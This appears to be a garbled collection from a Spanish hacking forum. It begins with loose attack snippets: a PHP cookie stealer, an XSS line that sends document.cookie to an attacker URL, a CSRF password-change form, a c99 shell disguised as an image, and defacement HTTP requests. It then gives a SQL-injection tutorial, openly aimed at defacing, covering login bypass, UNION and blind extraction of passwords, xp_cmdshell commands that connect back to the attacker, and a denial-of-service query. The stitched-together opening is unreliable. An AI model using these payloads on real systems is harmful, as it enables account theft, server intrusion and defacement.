define('COMPILED_CONF_ FILE', './Compiled/application.cfg');
define('OBJECTSDEF_FIL E', './Configuration/objects.xml');
define('OBJECTDEF_CFG_ FILE', './Compiled/objects.cfg');
define('OBJECTDEFS_CFG _DIR', '.');
[url] o [img]
[url] y [img]
[url]
"javascript:alert("xss")"
<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>
<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>
<form action="formulario" action="http://victima.com/perfil.php" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="passwirdl" value="minuevopassword">
<input type="hidden" name="submit" value="enviar">
<script>document.submit();</script>
CitarNo tienes permitido ver enlaces. Registrate o Entra a tu cuenta
[url=http://www.web.com/[email protected]&pass=PasSCambiadoBuajaja]AQUI[/url]
<form method="POST" action="datos.php" name="datos">
Usuario <input type="text" name="usuario">
Email <input type="text" name="email">
Contraseña <input type="text" name="contraseña">
Email alternativo: <input type="text" name="emailalternativo">
Contraseña Actual: <input type="text" name="actualcontraseña">
<input type="submit" name="submit" value="cambiardatos">
</form>
<?php
$bd_host = "localhost";
$bd_usuario = "user";
$bd_password = "pass";
$bd_base = "bd";
$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);
?>
<?
include('config.php');
session_start();
if(isset($_REQUEST['usuario']))
$usuario = $_REQUEST['usuario'];
else
die("Rellene el campo Usuario");
if(isset($_REQUEST['email']))
$email = $_REQUEST['email];
else
die("Rellene el campo email");
if(isset($_REQUEST['contraseña']))
$contraseña = $_REQUEST['contraseña];
else
die("Rellene el campo Contraseña");
if(isset($_REQUEST['emailalternativo']))
$emailalternativo = $_REQUEST['emailalternativo];
else
die("Falta el email alternativo");
if(isset($_REQUEST['actualcontraseña']))
$actualcontraseña = $_REQUEST['actualcontraseña];
else
die("Especifique la contraseña");
if ($actualcontraseña==NULL) {
echo "Especifique su contraseña Actual";
}else{
$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());
$data = mysql_fetch_array($query);
if($data['contraseñaa'] != $actualcontraseña) {
echo "Contraseña Actual Inavalida";
}else{
CambiarDatos($usuario, $email, $contraseña, $emailalternativo);
?>
CREATE TABLE `myhosting_usuarios` (
`id` int(11) NOT NULL auto_increment,
`usuario` varchar(15) NOT NULL,
`email` varchar(15) NOT NULL,
`emailalternativo` varchar(15) NOT NULL,
`contraseña` varchar(150) NOT NULL,
`contraseñaa` varchar(150) NOT NULL,
KEY `id` (`id`)
) ENGINE=MyISAM;
INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', '[email protected]', '[email protected]', 'mypass', 'mypass');
<?php
include"#bugdox";
?>
http://vulnerable.com/badcode?ejemplo=
Citar
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg
mis-PHP register_globals función.
http://vulnerable.com/badcode?ejemplo=http://Www.google.com
<EMBED
src="http://www.xD.com/miflash.swf"
pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash" type = "application / x-shockwave-flash"
width="0" width = "0"
height="0" height = "0"
>
</ EMBED>
[Flash] http://www.xD.com/miflash.swf[/flash]
<object
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" classid = "clsid: D27CDB6E-AE6D-11cf-96B8-444553540000"
width=200 width = 200
height=200> height = 200>
<param
name=movie = nombre de la película
value= http://www.xD.com/miflash.swf> value = http://eyeonsecurity.net/download/example.swf>
<param
name=play name =juego
value=true> valor = true>
<param
name=loop = nombre del punto de
value=true> valor = true>
<param name=quality <param name = Muy bueno
value=high> valor =alto>
<embed
src=http://www.xD.com/miflash.swf
src=http://www.xD.com/miflash.swf
width=200 width = 200
height=200 height = 200
play=true Escuchar = true
loop=true loop = true
quality=high> quality = high>
</embed> </object>
a = "get";
b="URL"; b = "URL";
c="javascript:"; c = "javascript:";
d="alert('bypassed');void(0);"; d = "alert ( 'omite'); void (0);";
eval(a+b)(c+d); eval (a + b) (c + d);
Citarnc No tienes permitido ver enlaces. Registrate o Entra a tu cuentaTRACE / HTTP/1.0<script>alert("Probando TRACE")</script>
CitarPUT /index.html HTTP/1.0
Content-Length: 14
<h1>Owned</h1>
###################################
#Author: blood_rec #
#Colaborators: Georgio #
#blog: http://h4xxor.blogspot.com #
#web: http://e-r00t.org #
#contact: blood_rec @el-hacker.org #
###################################
####################################################################
# Cubriendo Y Aplicando Teorias De Inyecion Sql #
####################################################################
==========================================================================================================================================================
A-Introduccion:
Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.
es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web
ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.
pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.
ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.
En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P <> W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.
asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...
Segun Wikipedia:
SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código "invasor en la base de datos.
bueno a lo que vivnimos...
#####################################################################
B-Inyecciones SQL (SQL Injections):
Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.
Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.
No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?
realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...
explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...
Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:
1-Detectando La Vulnerabilidad:
Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.
ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .
Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..
SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.
como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi
---> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]
la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :
[ ArticuloID que es "69" ]
Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.
En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:
####################
#Articulo_Id#Titulo#
#===========#======#
#69 #lammer#
#70 #kiddie#
#71 #noob #
####################
OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.
si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD
Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:
#################################################################################################################
Comando ## Uso #
================================================================================================================#
ORDER BY Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#
OR El Comando se usa si una sentencia es verdadera dentro de la consulta SQL #
+ Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space] #
-- Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc #
AND Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada #
UPDATE Cambia la informacion dentro de una Columna O Una Tabla #
SELECT Especifica Informacion En una Tabla #
#################################################################################################################
La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:
algo como esto script para practicar en tu localhost:
[auten.html]
####################################################
<form action="auten.php" method="post"> #
Username: <input type="text" name="usuario" /> #
<br> #
Password: <input type="password" name="password" />#
<input type="submit" value="Login" /> #
</form> #
####################################################
[auten.php]
###############################################################################################
<?php #
$mysqlcon = mysql_connect("localhost:413","root","12345") or die(mysqlerror()); #
$username = $_POST['usuario']; #
$password = md5($_POST['password']); #
mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror()); #
$loginauthsql = "SELECT * FROM USERS WHERE USER_NAME = '" . $username . "' AND PASSWORD = '" .#
$password . "'"; #
//esta parte te puede servir a la hora que vallas haciendo las consultas como referencia. #
echo '<b>' . 'SQL QUERY: ' . '</b>' . $loginauthsql . "<br />" . "<br />"; #
$result = mysql_query($loginauthsql, $mysqlcon) or die(mysqlerror()); #
if (mysql_numrows($result) != 0 ) #
{ #
echo 'AUTHENTICATION ' . '<font color="#00CC66">' . 'GRANTED' . '</font>'; #
} #
else #
{ #
echo 'AUTHENTICATION ' . '<font color="#FF0000">' . 'FAILED' . '</font>'; #
} #
mysql_close($mysqlcon); #
?> #
###############################################################################################
Thanks Aelphaeis
pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:
cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.
siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD
como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...
ok vamos a nuestro escenario imaginario:
estamos navegando y nos encontramos nuevamente con la web:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]
ok vamos a determinar si es vulnerable
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]
bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]
se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)
Ahora queremos encontrar las columnas de nuestro sitio:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]
"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:
--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]
bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]
OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).
Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).
ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]
Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla>'displayed_table'-- ]
Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:
[+WHERE+nombre_tabla>'displayed_table']
Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,
Ahora queremos sacar nuestra columna o nombre de la columna:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]
Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..
como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna>'displayed_column'-- ]
como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.
el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.
y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi
##################################
#Nombre de Tabla Columnas#
##################################
#CuentasUsuarios usuario #
# acceso #
##################################
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]
Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".
Digamos que la pagina nos mostro 'Cascanola' xD
[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]
Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...
entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...
recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..
ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..
[ www.webquenoesdelgobierno.com/index.php?id=0 ]
lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,
esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera
[ 'OR 1=1--]
ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:
[ www.webquenoesdelgobierno.com/index.php?id=0 'OR 1=1-- ]
usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
'hi or 1=1--
hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.
es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.
Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.
saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)
ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]
entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:
[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]
y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.
para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]
por resultado el website realiza la siguiente consulta:
[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]
si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.
Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]
USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.
entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 109 ]
El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh
si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 116 ]
si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 113 ]
otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 111 ]
falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]
El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.
[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]
Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.
repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:
[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If]
ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.
si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.
ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD
una manera bien rara pero todavia funciona
entonces crearemos una tabla en el servidor:
[ create table TablaMaligna (data text) ]
Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:
[ bulk insert TablaMaligna
from 'pwdump.exe'
with (codepage='RAW') ]
El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:
[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]
este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:
[ exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'
]
luego :
[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]
el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..
entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.
ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.
despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:
[ create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp' ]
